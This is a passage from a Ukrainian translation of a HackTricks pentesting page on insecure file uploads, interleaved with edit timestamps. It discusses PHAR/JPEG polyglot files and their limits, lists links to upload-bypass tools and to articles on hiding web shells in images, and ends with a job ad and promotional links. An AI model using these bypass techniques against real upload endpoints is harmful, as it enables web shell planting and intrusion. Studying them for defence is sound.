Незважаючи на їх адаптивність, поліглоти зіштовхуються з обмеженнями. Наприклад, хоча поліглот може одночасно втілювати файл PHAR (PHp ARchive) та JPEG, успіх його завантаження може залежати від політики розширень файлів платформи. Якщо система суворо ставиться до допустимих розширень, проста структурна двоїстість поліглота може бути недостатньою для гарантії його завантаження.
2020-10-15 13:16:06 +00:00
2024-03-29 18:49:46 +00:00
Додаткова інформація за посиланням: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
2022-04-28 16:01:33 +00:00
2024-03-29 18:49:46 +00:00
## Посилання
2024-02-05 20:00:40 +00:00
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
* [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
* [https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider)
* [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2024-02-05 20:00:40 +00:00
2024-03-29 18:49:46 +00:00
Якщо вас цікавить **кар'єра хакера** та взламати невзламне - **ми шукаємо співробітників!** (_вимагається вільне письмо та мовлення польською_).
2022-05-08 22:42:39 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-05-08 22:42:39 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-03-29 18:49:46 +00:00
<summary><strong>Вивчіть хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-03-29 18:49:46 +00:00
Інші способи підтримки HackTricks:
2024-01-01 17:15:10 +00:00
2024-03-29 18:49:46 +00:00
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
2022-04-28 16:01:33 +00:00
</details>